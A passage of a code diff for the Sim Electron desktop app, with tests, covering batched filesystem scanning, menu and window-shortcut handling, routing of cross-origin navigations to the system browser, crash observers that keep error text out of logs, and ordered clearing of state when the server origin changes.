+    const entries: LocalFilesystemEntry[] = []
+    for (let index = 0; index < directoryEntries.length; index += LIST_METADATA_BATCH_SIZE) {
+      const batch = directoryEntries.slice(index, index + LIST_METADATA_BATCH_SIZE)
+      const items = await Promise.all(
+        batch.map(async (directoryEntry): Promise<LocalFilesystemEntry | null> => {
+          try {
+            const childRelativePath = [resolvedPath.relativePath, directoryEntry.name]
+              .filter(Boolean)
+              .join('/')
+            const metadata = await lstat(resolve(resolvedPath.realPath, directoryEntry.name))
+            return {
+              name: directoryEntry.name,
+              uri: localUri(resolvedPath.mount.id, childRelativePath),
+              kind: entryKind(directoryEntry),
+              size: metadata.size,
+              modifiedAt: metadata.mtime.toISOString(),
+            }
+          } catch {
+            return null
+          }
+        })
+      )
+      for (const item of items) {
+        if (item) entries.push(item)
+      }
+    }
     return { entries, truncated }
   }
 
@@ -835,16 +950,16 @@ export class LocalFilesystemService {
       throwIfAborted(signal)
       const current = stack.pop()
       if (!current) break
-      const children = await readdir(current.path, { withFileTypes: true })
-      children.sort((a, b) => b.name.localeCompare(a.name))
-
-      for (const child of children) {
+      const remaining = MAX_SCAN_ENTRIES - scanned
+      if (remaining <= 0) {
+        truncated = true
+        break
+      }
+      const selection = await selectDirectoryEntries(current.path, remaining, signal)
+      scanned += selection.entries.length
+      const childDirectories: Array<{ path: string; relativeFromBase: string; depth: number }> = []
+      for (const child of selection.entries) {
         throwIfAborted(signal)
-        scanned++
-        if (scanned > MAX_SCAN_ENTRIES) {
-          truncated = true
-          break
-        }
         const relativeFromBase = [current.relativeFromBase, child.name].filter(Boolean).join('/')
         const childPath = resolve(current.path, child.name)
         const mountRelativePath = [resolvedPath.relativePath, relativeFromBase]
@@ -868,13 +983,20 @@ export class LocalFilesystemService {
         }
 
         if (child.isDirectory() && !child.isSymbolicLink() && current.depth < MAX_SCAN_DEPTH) {
-          stack.push({
+          childDirectories.push({
             path: childPath,
             relativeFromBase,
             depth: current.depth + 1,
           })
         }
       }
+      if (selection.truncated) {
+        truncated = true
+        break
+      }
+      for (let index = childDirectories.length - 1; index >= 0; index--) {
+        stack.push(childDirectories[index])
+      }
     }
 
     entries.sort((a, b) => a.uri.localeCompare(b.uri))
@@ -1080,18 +1202,20 @@ export class LocalFilesystemService {
       throwIfAborted(signal)
       const current = stack.pop()
       if (!current) break
-      const children = await readdir(current.path, { withFileTypes: true })
-      for (const child of children) {
+      const remaining = MAX_SCAN_ENTRIES - scanned
+      if (remaining <= 0) {
+        truncated = true
+        break
+      }
+      const selection = await selectDirectoryEntries(current.path, remaining, signal)
+      scanned += selection.entries.length
+      const childDirectories: Array<{ path: string; relativeFromBase: string; depth: number }> = []
+      for (const child of selection.entries) {
         throwIfAborted(signal)
-        scanned++
-        if (scanned > MAX_SCAN_ENTRIES) {
-          truncated = true
-          break
-        }
         const relativeFromBase = [current.relativeFromBase, child.name].filter(Boolean).join('/')
         const childPath = resolve(current.path, child.name)
         if (child.isDirectory() && !child.isSymbolicLink() && current.depth < MAX_SCAN_DEPTH) {
-          stack.push({
+          childDirectories.push({
             path: childPath,
             relativeFromBase,
             depth: current.depth + 1,
@@ -1112,6 +1236,13 @@ export class LocalFilesystemService {
           break
         }
       }
+      if (selection.truncated) {
+        truncated = true
+        break
+      }
+      for (let index = childDirectories.length - 1; index >= 0; index--) {
+        stack.push(childDirectories[index])
+      }
     }
 
     if (outputMode === 'files_with_matches') {
diff --git a/apps/desktop/src/main/menu.test.ts b/apps/desktop/src/main/menu.test.ts
index 63dbc05357d..ae0170365e5 100644
--- a/apps/desktop/src/main/menu.test.ts
+++ b/apps/desktop/src/main/menu.test.ts
@@ -16,6 +16,7 @@ function makeDeps(origin = 'https://sim.ai'): MenuDeps {
       set: vi.fn(),
     } as unknown as ConfigStore,
     getMainWindow: vi.fn(() => null),
+    isMainWindow: vi.fn(() => true),
     allowHttpLocalhost: vi.fn(() => false),
     openSettings: vi.fn(),
     openServerSettings: vi.fn(),
@@ -26,6 +27,7 @@ function makeDeps(origin = 'https://sim.ai'): MenuDeps {
     openSearch: vi.fn(),
     signOut: vi.fn(),
     checkForUpdates: vi.fn(),
+    openDiagnostics: vi.fn(),
   }
 }
 
@@ -56,8 +58,6 @@ describe('buildMenuTemplate', () => {
       'Check for Updates…',
       'Sign Out',
       'separator',
-      'services',
-      'separator',
       'hide',
       'hideOthers',
       'unhide',
@@ -102,16 +102,36 @@ describe('buildMenuTemplate', () => {
     ])
   })
 
-  it('keeps Help limited to documentation and Sim status', () => {
+  it('keeps Help limited to support and diagnostics', () => {
     const help = submenu(buildMenuTemplate(makeDeps()), 'Help')
-    expect(help.map((item) => item.label)).toEqual(['Sim Documentation', 'Sim Status'])
+    expect(help.map((item) => item.label ?? item.type)).toEqual([
+      'Sim Documentation',
+      'Sim Status',
+      'separator',
+      'Show Diagnostic Logs',
+    ])
   })
 
   // status.sim.ai reports on Sim's deployments only, so it is worse than
   // useless to an operator whose own server is the one that is down.
   it('drops Sim status for a self-hosted server', () => {
     const help = submenu(buildMenuTemplate(makeDeps('https://sim.example.com')), 'Help')
-    expect(help.map((item) => item.label)).toEqual(['Sim Documentation'])
+    expect(help.map((item) => item.label ?? item.type)).toEqual([
+      'Sim Documentation',
+      'separator',
+      'Show Diagnostic Logs',
+    ])
+  })
+
+  it('opens local diagnostics from Help', () => {
+    const deps = makeDeps()
+    const item = submenu(buildMenuTemplate(deps), 'Help').find(
+      (entry) => entry.label === 'Show Diagnostic Logs'
+    )
+
+    ;(item?.click as () => void)()
+
+    expect(deps.openDiagnostics).toHaveBeenCalledOnce()
   })
 
   it('never exposes developer tools in the application menu', () => {
@@ -119,7 +139,7 @@ describe('buildMenuTemplate', () => {
     expect(view.some((item) => item.role === 'toggleDevTools')).toBe(false)
   })
 
-  it('reserves the close-tab accelerator for resources and never closes the window', () => {
+  it('closes the main window when no resource claims the close-tab accelerator', () => {
     const handleFocusedResourceShortcut = vi.fn(() => true)
     const deps = Object.assign(makeDeps(), { handleFocusedResourceShortcut })
     const closeItem = submenu(buildMenuTemplate(deps), 'File').find(
@@ -141,7 +161,39 @@ describe('buildMenuTemplate', () => {
 
     handleFocusedResourceShortcut.mockReturnValue(false)
     click({}, focusedWindow)
-    expect(focusedWindow.close).not.toHaveBeenCalled()
+    expect(focusedWindow.close).toHaveBeenCalledOnce()
+  })
+
+  it('keeps resource, reload, and zoom accelerators out of utility windows', () => {
+    const mainWindow = new BrowserWindow()
+    const utilityWindow = new BrowserWindow()
+    const handleFocusedResourceShortcut = vi.fn(() => false)
+    const deps = Object.assign(makeDeps(), {
+      getMainWindow: vi.fn(() => mainWindow),
+      isMainWindow: vi.fn((win: BrowserWindow) => win === mainWindow),
+      handleFocusedResourceShortcut,
+    })
+    const template = buildMenuTemplate(deps)
+    const file = submenu(template, 'File')
+    const view = submenu(template, 'View')
+    const invoke = (item: MenuItemConstructorOptions | undefined) =>
+      (item?.click as unknown as (menuItem: unknown, browserWindow: BrowserWindow) => void)(
+        {},
+        utilityWindow
+      )
+
+    invoke(file.find((item) => item.accelerator === 'CmdOrCtrl+T'))
+    invoke(view.find((item) => item.accelerator === 'CmdOrCtrl+R'))
+    invoke(view.find((item) => item.accelerator === 'CmdOrCtrl+Plus'))
+
+    expect(handleFocusedResourceShortcut).not.toHaveBeenCalled()
+    expect(mainWindow.webContents.reload).not.toHaveBeenCalled()
+    expect(utilityWindow.webContents.reload).not.toHaveBeenCalled()
+    expect(deps.config.set).not.toHaveBeenCalledWith('zoomLevel', expect.anything())
+
+    invoke(file.find((item) => item.accelerator === 'CmdOrCtrl+W'))
+    expect(utilityWindow.close).toHaveBeenCalledOnce()
+    expect(mainWindow.close).not.toHaveBeenCalled()
   })
 
   it('always offers a separate close-window accelerator', () => {
diff --git a/apps/desktop/src/main/menu.ts b/apps/desktop/src/main/menu.ts
index 4223e8a8b7b..cf1b94009f6 100644
--- a/apps/desktop/src/main/menu.ts
+++ b/apps/desktop/src/main/menu.ts
@@ -13,6 +13,7 @@ const ZOOM_STEP = 0.5
 export interface MenuDeps {
   config: ConfigStore
   getMainWindow: () => BrowserWindow | null
+  isMainWindow: (win: BrowserWindow) => boolean
   allowHttpLocalhost: () => boolean
   openSettings: () => void
   /** Opens the native server picker (see main/server-window.ts). */
@@ -32,6 +33,7 @@ export interface MenuDeps {
   openSearch: () => void
   signOut: () => void
   checkForUpdates: () => void
+  openDiagnostics: () => void
 }
 
 /**
@@ -40,22 +42,29 @@ export interface MenuDeps {
  * the zoom level persists across launches.
  */
 export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] {
-  const withWindow = (fn: (win: BrowserWindow) => void) => () => {
-    const win = deps.getMainWindow()
-    if (win && !win.isDestroyed()) {
-      fn(win)
+  /** Utility windows must not redirect resource commands into the hidden main window. */
+  const focusedMainOrFallback = (focusedWindow: unknown): BrowserWindow | null => {
+    if (focusedWindow instanceof BrowserWindow) {
+      return !focusedWindow.isDestroyed() && deps.isMainWindow(focusedWindow) ? focusedWindow : null
     }
+    const fallback = deps.getMainWindow()
+    return fallback && !fallback.isDestroyed() ? fallback : null
   }
 
-  /** Accelerators fire on whichever window has focus; fall back to the main one. */
-  const focusedOrMain = (focusedWindow: unknown): BrowserWindow | null =>
-    focusedWindow instanceof BrowserWindow ? focusedWindow : deps.getMainWindow()
+  const focusedWindowOrMain = (focusedWindow: unknown): BrowserWindow | null => {
+    if (focusedWindow instanceof BrowserWindow) {
+      return focusedWindow.isDestroyed() ? null : focusedWindow
+    }
+    const fallback = deps.getMainWindow()
+    return fallback && !fallback.isDestroyed() ? fallback : null
+  }
 
   const resourceShortcut = (
     shortcut: FocusedResourceShortcut
   ): NonNullable<MenuItemConstructorOptions['click']> => {
     return (_item, focusedWindow) => {
-      deps.handleFocusedResourceShortcut(focusedOrMain(focusedWindow), shortcut)
+      const win = focusedMainOrFallback(focusedWindow)
+      if (win) deps.handleFocusedResourceShortcut(win, shortcut)
     }
   }
 
@@ -76,8 +85,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
     const resolve = (current: number) =>
       action === 'reset' ? 0 : action === 'in' ? current + ZOOM_STEP : current - ZOOM_STEP
     return (_item, focusedWindow) => {
-      const win = focusedOrMain(focusedWindow)
-      if (!win || win.isDestroyed()) return
+      const win = focusedMainOrFallback(focusedWindow)
+      if (!win) return
       if (deps.handleFocusedResourceShortcut(win, `zoom-${action}`)) return
       const level = resolve(win.webContents.getZoomLevel())
       win.webContents.setZoomLevel(level)
@@ -110,19 +119,21 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
     {
       label: 'Back',
       accelerator: 'CmdOrCtrl+[',
-      click: withWindow((win) => {
+      click: (_item, focusedWindow) => {
+        const win = focusedMainOrFallback(focusedWindow)
+        if (!win) return
         const history = win.webContents.navigationHistory
         if (history.canGoBack()) {
           history.goBack()
         }
-      }),
+      },
     },
     {
       label: 'Reload',
       accelerator: 'CmdOrCtrl+R',
       click: (_item, focusedWindow) => {
-        const win = focusedOrMain(focusedWindow)
-        if (!win || win.isDestroyed()) return
+        const win = focusedMainOrFallback(focusedWindow)
+        if (!win) return
         if (deps.handleFocusedResourceShortcut(win, 'reload-or-clear')) return
         win.webContents.reload()
       },
@@ -137,8 +148,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
       label: 'Force Reload',
       accelerator: 'CmdOrCtrl+Shift+R',
       click: (_item, focusedWindow) => {
-        const win = focusedOrMain(focusedWindow)
-        if (!win || win.isDestroyed()) return
+        const win = focusedMainOrFallback(focusedWindow)
+        if (!win) return
         if (deps.handleFocusedResourceShortcut(win, 'hard-reload')) return
         win.webContents.reloadIgnoringCache()
       },
@@ -161,8 +172,6 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
         { label: 'Check for Updates…', click: deps.checkForUpdates },
         { label: 'Sign Out', click: deps.signOut },
         { type: 'separator' },
-        { role: 'services' },
-        { type: 'separator' },
         { role: 'hide' },
         { role: 'hideOthers' },
         { role: 'unhide' },
@@ -184,8 +193,7 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
           label: 'Close Window',
           accelerator: 'CmdOrCtrl+Shift+W',
           click: (_item, focusedWindow) => {
-            const win = focusedOrMain(focusedWindow)
-            if (win && !win.isDestroyed()) win.close()
+            focusedWindowOrMain(focusedWindow)?.close()
           },
         },
         /**
@@ -202,7 +210,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
           accelerator: 'CmdOrCtrl+T',
           visible: false,
           click: (_item, focusedWindow) => {
-            deps.handleFocusedResourceShortcut(focusedOrMain(focusedWindow), 'new-tab')
+            const win = focusedMainOrFallback(focusedWindow)
+            if (win) deps.handleFocusedResourceShortcut(win, 'new-tab')
           },
         },
         {
@@ -210,7 +219,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
           accelerator: 'CmdOrCtrl+Shift+T',
           visible: false,
           click: (_item, focusedWindow) => {
-            deps.handleFocusedResourceShortcut(focusedOrMain(focusedWindow), 'reopen-closed-tab')
+            const win = focusedMainOrFallback(focusedWindow)
+            if (win) deps.handleFocusedResourceShortcut(win, 'reopen-closed-tab')
           },
         },
         {
@@ -237,8 +247,12 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
           accelerator: 'CmdOrCtrl+W',
           visible: false,
           click: (_item, focusedWindow) => {
-            const win = focusedOrMain(focusedWindow)
-            deps.handleFocusedResourceShortcut(win, 'close-tab')
+            const win = focusedWindowOrMain(focusedWindow)
+            if (!win) return
+            if (deps.isMainWindow(win) && deps.handleFocusedResourceShortcut(win, 'close-tab')) {
+              return
+            }
+            win.close()
           },
         },
       ],
@@ -263,6 +277,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
               },
             ]
           : []),
+        { type: 'separator' },
+        { label: 'Show Diagnostic Logs', click: deps.openDiagnostics },
       ],
     },
   ]
diff --git a/apps/desktop/src/main/navigation.test.ts b/apps/desktop/src/main/navigation.test.ts
index 22ee2191aa0..66f76d4a12b 100644
--- a/apps/desktop/src/main/navigation.test.ts
+++ b/apps/desktop/src/main/navigation.test.ts
@@ -77,13 +77,13 @@ describe('classifyNavigation', () => {
     ).toBe('idp-system-login')
   })
 
-  it('keeps the same IdP in-window when it is an integration connect', () => {
+  it('routes non-handoff integration departures out of the privileged app window', () => {
     expect(
       classifyNavigation('https://github.com/login/oauth/authorize?client_id=x', {
         appOrigin: APP,
         currentUrl: `${APP}/workspace/ws1/integrations/github`,
       })
-    ).toBe('idp-in-window')
+    ).toBe('external')
   })
 
   it('sends unknown hosts from an auth surface to the system browser (SSO safe default)', () => {
@@ -95,22 +95,22 @@ describe('classifyNavigation', () => {
     ).toBe('idp-system-login')
   })
 
-  it('keeps unknown hosts from workspace pages in-window (integration OAuth is a same-window redirect)', () => {
+  it('does not infer OAuth from an unknown cross-origin workspace navigation', () => {
     expect(
       classifyNavigation('https://api.notion.com/v1/oauth/authorize?x=1', {
         appOrigin: APP,
         currentUrl: `${APP}/workspace/ws1/integrations/notion`,
       })
-    ).toBe('idp-in-window')
+    ).toBe('external')
   })
 
-  it('allows continuation navigation while already on an IdP host', () => {
+  it('does not keep arbitrary cross-origin continuation pages in the app window', () => {
     expect(
       classifyNavigation('https://github.com/sessions/two-factor', {
         appOrigin: APP,
         currentUrl: 'https://github.com/login',
       })
-    ).toBe('idp-in-window')
+    ).toBe('external')
   })
 
   it('allows any https navigation inside popups', () => {
diff --git a/apps/desktop/src/main/navigation.ts b/apps/desktop/src/main/navigation.ts
index c9224df5127..3131a5c125e 100644
--- a/apps/desktop/src/main/navigation.ts
+++ b/apps/desktop/src/main/navigation.ts
@@ -7,7 +7,6 @@ const logger = createLogger('DesktopNavigation')
 
 export type MainNavigationAction =
   | 'in-app'
-  | 'idp-in-window'
   | 'idp-system-login'
   | 'idp-system-connect'
   | 'external'
@@ -104,10 +103,10 @@ export function isAuthSurfacePath(pathname: string): boolean {
  * else comes back `state_mismatch`. The handoff keeps the whole flow in one
  * jar and hands a one-time token back over the loopback.
  *
- * Everything else is an integration connect from a workspace page: those stay
- * in-window (the session cookie is already in this partition) unless the IdP
- * hard-blocks embedded user agents, which is what {@link
- * SYSTEM_BROWSER_IDP_HOSTS} enumerates.
+ * Integration connects use the explicit desktop handoff IPC. A cross-origin
+ * departure from any other app page is therefore an ordinary external
+ * navigation, not evidence of OAuth, and must never replace the privileged
+ * app document that owns the preload bridge.
  */
 export function classifyNavigation(rawUrl: string, ctx: NavigationContext): MainNavigationAction {
   if (rawUrl === 'about:blank') {
@@ -133,7 +132,7 @@ export function classifyNavigation(rawUrl: string, ctx: NavigationContext): Main
   if (matchesHostList(url.hostname, SYSTEM_BROWSER_IDP_HOSTS)) {
     return 'idp-system-connect'
   }
-  return 'idp-in-window'
+  return 'external'
 }
 
 /**
diff --git a/apps/desktop/src/main/observability.test.ts b/apps/desktop/src/main/observability.test.ts
index cd3e3cf2147..836d61f8f01 100644
--- a/apps/desktop/src/main/observability.test.ts
+++ b/apps/desktop/src/main/observability.test.ts
@@ -1,8 +1,12 @@
 import { existsSync, mkdtempSync, readFileSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
-import { describe, expect, it } from 'vitest'
-import { createEventLog, scrubUrl } from '@/main/observability'
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+vi.mock('electron', () => import('@/test/electron-mock'))
+
+import { app, dialog } from 'electron'
+import { createEventLog, installMainProcessFailureObservers, scrubUrl } from '@/main/observability'
 
 describe('scrubUrl', () => {
   it('drops query strings and fragments so tokens never reach the log', () => {
@@ -40,3 +44,78 @@ describe('createEventLog', () => {
     expect(existsSync(`${events.filePath}.1`)).toBe(true)
   })
 })
+
+describe('installMainProcessFailureObservers', () => {
+  function createProcessSource() {
+    const handlers = new Map<string, (...args: never[]) => void>()
+    return {
+      handlers,
+      source: {
+        on: vi.fn((event: string, handler: (...args: never[]) => void) => {
+          handlers.set(event, handler)
+        }),
+      },
+    }
+  }
+
+  beforeEach(() => {
+    vi.clearAllMocks()
+  })
+
+  it('records unexpected child-process exits once per failure burst', () => {
+    vi.useFakeTimers()
+    try {
+      const events = { filePath: '/tmp/events.log', record: vi.fn() }
+      const { source } = createProcessSource()
+      installMainProcessFailureObservers({ events, getWindow: () => null, processSource: source })
+      const appHandlers = vi.mocked(app.on).mock.calls as unknown as Array<
+        [string, (...args: never[]) => void]
+      >
+      const handler = appHandlers.find(([event]) => event === 'child-process-gone')?.[1] as
+        | ((event: unknown, details: Record<string, unknown>) => void)
+        | undefined
+      const details = { type: 'GPU', reason: 'crashed', exitCode: 9, serviceName: 'GPU' }
+
+      handler?.({}, details)
+      handler?.({}, details)
+
+      expect(events.record).toHaveBeenCalledOnce()
+      expect(events.record).toHaveBeenCalledWith('child_process_gone', details)
+
+      vi.advanceTimersByTime(5_000)
+      handler?.({}, details)
+      expect(events.record).toHaveBeenCalledTimes(2)
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+
+  it('shows one recovery prompt for simultaneous fatal failures', async () => {
+    let resolvePrompt: ((value: { response: number; checkboxChecked: boolean }) => void) | undefined
+    vi.mocked(dialog.showMessageBox).mockImplementationOnce(
+      () =>
+        new Promise((resolve) => {
+          resolvePrompt = resolve
+        })
+    )
+    const events = { filePath: '/tmp/events.log', record: vi.fn() }
+    const { handlers, source } = createProcessSource()
+    installMainProcessFailureObservers({ events, getWindow: () => null, processSource: source })
+
+    const fatalError = new Error('secret')
+    fatalError.name = 'Bearer SECRET'
+    handlers.get('unhandledRejection')?.(fatalError as never)
+    handlers.get('uncaughtException')?.(new Error('second') as never)
+
+    expect(dialog.showMessageBox).toHaveBeenCalledOnce()
+    expect(events.record).toHaveBeenCalledOnce()
+    expect(events.record).toHaveBeenCalledWith('main_unhandled_rejection', {
+      valueType: 'Error',
+    })
+    expect(JSON.stringify(events.record.mock.calls)).not.toContain('SECRET')
+
+    resolvePrompt?.({ response: 0, checkboxChecked: false })
+    await vi.waitFor(() => expect(app.relaunch).toHaveBeenCalledOnce())
+    expect(app.exit).toHaveBeenCalledWith(1)
+  })
+})
diff --git a/apps/desktop/src/main/observability.ts b/apps/desktop/src/main/observability.ts
index 6290c271d31..60c8e47b36c 100644
--- a/apps/desktop/src/main/observability.ts
+++ b/apps/desktop/src/main/observability.ts
@@ -1,6 +1,8 @@
 import { appendFileSync, mkdirSync, renameSync, statSync } from 'node:fs'
 import { join } from 'node:path'
 import { createLogger } from '@sim/logger'
+import type { BrowserWindow, Details } from 'electron'
+import { app, dialog } from 'electron'
 
 const logger = createLogger('DesktopEvents')
 
@@ -20,6 +22,9 @@ export type DesktopEventName =
   | 'load_failure'
   | 'renderer_gone'
   | 'renderer_unresponsive'
+  | 'child_process_gone'
+  | 'main_unhandled_rejection'
+  | 'main_uncaught_exception'
   | 'sign_out'
   | 'origin_changed'
   | 'handoff_started'
@@ -34,6 +39,97 @@ export interface EventRecorder {
   record(name: DesktopEventName, data?: Record<string, string | number | boolean>): void
 }
 
+interface ProcessFailureSource {
+  on(event: 'unhandledRejection', listener: (reason: unknown) => void): void
+  on(event: 'uncaughtException', listener: (error: Error) => void): void
+}
+
+export interface MainProcessFailureObserverDeps {
+  events: EventRecorder
+  getWindow: () => BrowserWindow | null
+  processSource?: ProcessFailureSource
+}
+
+const FAILURE_DEDUPE_MS = 5_000
+
+/**
+ * Records native child-process failures and gives a fatal main-process error a
+ * single native recovery surface. Error text is deliberately excluded from
+ * the structured log because rejected values can contain request payloads or
+ * credentials; the event kind and crash dumps are enough for triage.
+ */
+export function installMainProcessFailureObservers({
+  events,
+  getWindow,
+  processSource = process,
+}: MainProcessFailureObserverDeps): void {
+  let fatalRecoveryOpen = false
+  let lastChildFailure = ''
+  let lastChildFailureAt = 0
+
+  const onChildProcessGone = (_event: unknown, details: Details): void => {
+    if (details.reason === 'clean-exit') return
+    const signature = `${details.type}:${details.reason}:${details.exitCode}:${details.serviceName ?? ''}`
+    const now = Date.now()
+    if (signature === lastChildFailure && now - lastChildFailureAt < FAILURE_DEDUPE_MS) return
+    lastChildFailure = signature
+    lastChildFailureAt = now
+    events.record('child_process_gone', {
+      type: details.type,
+      reason: details.reason,
+      exitCode: details.exitCode,
+      ...(details.serviceName ? { serviceName: details.serviceName } : {}),
+    })
+    logger.error('Electron child process exited unexpectedly', {
+      type: details.type,
+      reason: details.reason,
+      exitCode: details.exitCode,
+    })
+  }
+
+  const reportFatal = (
+    name: 'main_unhandled_rejection' | 'main_uncaught_exception',
+    value: unknown
+  ): void => {
+    if (fatalRecoveryOpen) return
+    fatalRecoveryOpen = true
+    events.record(name, { valueType: value instanceof Error ? 'Error' : typeof value })
+    logger.error('Fatal main-process failure', { kind: name })
+    const options = {
+      type: 'error' as const,
+      buttons: ['Restart Sim', 'Quit Sim'],
+      defaultId: 0,
+      cancelId: 1,
+      message: 'Sim encountered a problem',
+      detail: 'Restart Sim to recover. Diagnostic details were saved locally.',
+    }
+    const win = getWindow()
+    const prompt =
+      win && !win.isDestroyed()
+        ? dialog.showMessageBox(win, options)
+        : dialog.showMessageBox(options)
+    void prompt
+      .then(({ response }) => {
+        if (response === 0) app.relaunch()
+      })
+      .catch(() => {})
+      .finally(() => {
+        app.exit(1)
+      })
+  }
+
+  const onUnhandledRejection = (reason: unknown): void => {
+    reportFatal('main_unhandled_rejection', reason)
+  }
+  const onUncaughtException = (error: Error): void => {
+    reportFatal('main_uncaught_exception', error)
+  }
+
+  app.on('child-process-gone', onChildProcessGone)
+  processSource.on('unhandledRejection', onUnhandledRejection)
+  processSource.on('uncaughtException', onUncaughtException)
+}
+
 /**
  * Reduces a URL to origin + path for logging. Query strings and fragments are
  * dropped so tokens, states, and signed parameters never reach the event log.
diff --git a/apps/desktop/src/main/security-guards.test.ts b/apps/desktop/src/main/security-guards.test.ts
index 6e0b3830ef6..af486065a1f 100644
--- a/apps/desktop/src/main/security-guards.test.ts
+++ b/apps/desktop/src/main/security-guards.test.ts
@@ -92,6 +92,15 @@ describe('attachNavigationGuards', () => {
     expect(deps.onConnectIntercept).toHaveBeenCalled()
   })
 
+  it('opens unknown cross-origin departures externally instead of replacing the app page', () => {
+    const contents = makeContents(`${APP}/workspace/ws1`)
+    attachNavigationGuards(contents as unknown as WebContents, makeDeps())
+    const preventDefault = fire(contents, 'will-navigate', 'https://docs.example/page')
+
+    expect(preventDefault).toHaveBeenCalled()
+    expect(shell.openExternal).toHaveBeenCalledWith('https://docs.example/page')
+  })
+
   it('denies non-web schemes', () => {
     const contents = makeContents(`${APP}/workspace/ws1`)
     attachNavigationGuards(contents as unknown as WebContents, makeDeps())
diff --git a/apps/desktop/src/main/security-guards.ts b/apps/desktop/src/main/security-guards.ts
index 41499742e65..22a91554ec9 100644
--- a/apps/desktop/src/main/security-guards.ts
+++ b/apps/desktop/src/main/security-guards.ts
@@ -41,7 +41,6 @@ export function attachNavigationGuards(contents: WebContents, deps: GuardDeps):
     })
     switch (action) {
       case 'in-app':
-      case 'idp-in-window':
         return
       case 'external':
         event.preventDefault()
diff --git a/apps/desktop/src/main/server-window.test.ts b/apps/desktop/src/main/server-window.test.ts
index ced9788b13c..2ee1b41571a 100644
--- a/apps/desktop/src/main/server-window.test.ts
+++ b/apps/desktop/src/main/server-window.test.ts
@@ -12,6 +12,7 @@ function makeConfig(origin: string, validate: (raw: string) => OriginValidation)
   let stored = origin
   return {
     filePath: '/tmp/settings.json',
+    isPersistenceAvailable: () => true,
     getOrigin: () => stored,
     setOrigin: vi.fn((raw: string) => {
       const result = validate(raw)
@@ -20,7 +21,7 @@ function makeConfig(origin: string, validate: (raw: string) => OriginValidation)
     }),
     get: vi.fn(() => undefined),
     set: vi.fn(),
-    flush: vi.fn(),
+    flush: vi.fn(() => true),
   } as unknown as ConfigStore
 }
 
@@ -34,7 +35,9 @@ function makeDeps(overrides: Partial<ServerWindowDeps> = {}): ServerWindowDeps {
     preloadPath: '/tmp/preload.cjs',
     isPackaged: false,
     getParentWindow: () => null,
+    prepareDeploymentScopedStateChange: vi.fn(() => true),
     clearDeploymentScopedState: vi.fn(async (): Promise<readonly string[]> => []),
+    completeDeploymentScopedStateChange: vi.fn((commit) => commit()),
     relaunch: vi.fn(),
     ...overrides,
   }
@@ -69,7 +72,6 @@ describe('server window', () => {
     const result = await createServerWindow(deps).setOrigin('https://sim.other.example')
 
     expect(result).toEqual({ ok: true, origin: 'https://sim.other.example', unchanged: false })
-    expect(deps.config.flush).toHaveBeenCalled()
     expect(deps.relaunch).toHaveBeenCalledTimes(1)
   })
 
@@ -102,10 +104,26 @@ describe('server window', () => {
   it('clears deployment-scoped capabilities before relaunching', async () => {
     await createServerWindow(deps).setOrigin('https://sim.other.example')
 
+    expect(deps.prepareDeploymentScopedStateChange).toHaveBeenCalledTimes(1)
     expect(deps.clearDeploymentScopedState).toHaveBeenCalledTimes(1)
+    expect(
+      vi.mocked(deps.prepareDeploymentScopedStateChange).mock.invocationCallOrder[0]
+    ).toBeLessThan(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0])
     expect(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0]).toBeLessThan(
       vi.mocked(deps.relaunch).mock.invocationCallOrder[0]
     )
+    expect(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0]).toBeLessThan(
+      vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0]
+    )
+    expect(
+      vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0]
+    ).toBeLessThan(vi.mocked(deps.config.set).mock.invocationCallOrder[0])
+    expect(
+      vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0]
+    ).toBeLessThan(vi.mocked(deps.config.setOrigin).mock.invocationCallOrder[0])
+    expect(
+      vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0]
+    ).toBeLessThan(vi.mocked(deps.relaunch).mock.invocationCallOrder[0])
   })
 
   it('does not clear them when the origin is unchanged', async () => {
@@ -114,6 +132,23 @@ describe('server window', () => {
     expect(deps.clearDeploymentScopedState).not.toHaveBeenCalled()
   })
 
+  it('does not erase or persist anything when recovery intent cannot be recorded', async () => {
+    const blocked = makeDeps({ prepareDeploymentScopedStateChange: vi.fn(() => false) })
+    const handle = createServerWindow(blocked)
+
+    await expect(handle.setOrigin('https://sim.other.example')).resolves.toMatchObject({
+      ok: false,
+    })
+    expect(blocked.clearDeploymentScopedState).not.toHaveBeenCalled()
+    expect(blocked.completeDeploymentScopedStateChange).not.toHaveBeenCalled()
+    expect(blocked.config.set).not.toHaveBeenCalled()
+    expect(blocked.config.setOrigin).not.toHaveBeenCalled()
+    expect(blocked.relaunch).not.toHaveBeenCalled()
+
+    vi.mocked(blocked.prepareDeploymentScopedStateChange).mockReturnValue(true)
+    await expect(handle.setOrigin('https://sim.other.example')).resolves.toMatchObject({ ok: true })
+  })
+
   // The picker re-enables its button while a request is pending, and the IPC
   // boundary is reachable regardless of what the page does, so the transaction
   // has to be serialized here rather than in the renderer.
@@ -174,6 +209,7 @@ describe('server window', () => {
     // happened", which is not what happened.
     expect(result).toHaveProperty('error', expect.stringContaining('may already have been cleared'))
     expect(failing.relaunch).not.toHaveBeenCalled()
+    expect(failing.completeDeploymentScopedStateChange).not.toHaveBeenCalled()
     expect(failing.config.setOrigin).not.toHaveBeenCalled()
     expect(failing.config.getOrigin()).toBe(CURRENT)
   })
@@ -189,9 +225,55 @@ describe('server window', () => {
 
     expect(result).toMatchObject({ ok: false })
